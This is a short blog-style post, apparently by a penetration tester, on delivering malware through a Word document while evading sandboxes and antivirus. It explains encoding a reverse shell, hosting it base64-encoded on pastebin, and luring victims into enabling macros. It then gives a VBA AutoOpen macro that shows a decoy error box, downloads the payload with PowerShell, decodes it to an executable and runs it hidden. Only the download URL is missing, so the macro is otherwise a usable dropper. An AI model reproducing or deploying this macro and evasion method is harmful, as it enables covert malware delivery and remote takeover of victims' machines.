Sandbox Evasion & Document Based Attack

Note to oneself, msgbox is sufficient to break first generation sandboxes. Thank goodness for second generation sandboxes at the CPU level, how's malware going to evade that?

For the test we do a few things!

First you encode your reverse shell umpteen iterations (avoids AV detection), open it in notepad++ and encode it to base64, copy this text and dump it on pastebin. grab the raw url and put it into a word macro like below.

In the document body add some message to enable macro's to decode the content and add some random base64 garbage.

Function myPause()
Dim pausetime, start, finish
pausetime = 4
start = Timer
Do While Timer < start + pausetime
finish = Timer
End Function

Sub AutoOpen()
MsgBox "Encoding Error, Click OK to continue", vbOKOnly
Shell "cmd /K PowerShell.exe $wc = New-Object System.Net.WebClient; $wc.UseDefaultCredentials = $true; $wc.Proxy.Credentials = $wc.Credentials; $wc.DownloadFile('','%TEMP%\b64e.txt')", vbHide
Shell "cmd /K PowerShell.exe Set-Content -Value ([System.Convert]::FromBase64String((get-content '%TEMP%\b64e.txt'))) -Encoding Byte '%TEMP%\reallybad.exe'", vbHide
Shell "start %TEMP%\reallybad.exe;", vbHide
End Sub


Popular Posts